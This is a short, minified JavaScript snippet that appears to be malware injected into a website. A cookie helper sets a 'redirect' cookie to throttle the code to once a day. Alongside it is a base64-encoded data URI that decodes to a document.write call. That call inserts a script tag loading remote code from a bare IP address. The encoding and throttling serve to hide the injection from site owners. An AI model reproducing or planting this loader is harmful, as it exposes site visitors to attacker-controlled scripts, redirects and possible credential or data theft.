function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}